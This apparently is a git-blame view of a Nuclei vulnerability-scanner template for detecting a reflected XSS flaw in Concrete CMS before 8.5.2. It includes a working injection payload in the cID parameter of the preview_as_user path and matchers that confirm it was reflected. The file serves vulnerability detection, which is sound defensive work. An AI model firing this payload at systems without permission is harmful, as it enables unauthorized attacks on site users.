2021-05-04 08:06:16 +00:00
|
|
|
id: concrete-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Unauthenticated reflected XSS in preview_as_user function
|
2022-04-22 10:38:41 +00:00
|
|
|
author: shifacyclewla,hackergautam
|
2021-05-04 08:06:16 +00:00
|
|
|
severity: medium
|
2022-04-22 10:38:41 +00:00
|
|
|
description: The Concrete CMS < 8.5.2 is vulnerable to Reflected XSS using cID parameter.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://hackerone.com/reports/643442
|
|
|
|
- https://github.com/concrete5/concrete5/pull/7999
|
|
|
|
- https://twitter.com/JacksonHHax/status/1389222207805661187
|
2022-04-22 10:38:41 +00:00
|
|
|
tags: concrete,xss,cms
|
2021-05-04 08:06:16 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert("{{randstr}}")>'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '</iframe><svg/onload=alert("{{randstr}}")>'
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
2021-05-17 17:09:05 +00:00
|
|
|
- "CONCRETE5"
|
|
|
|
condition: and
|
2021-05-04 08:06:16 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|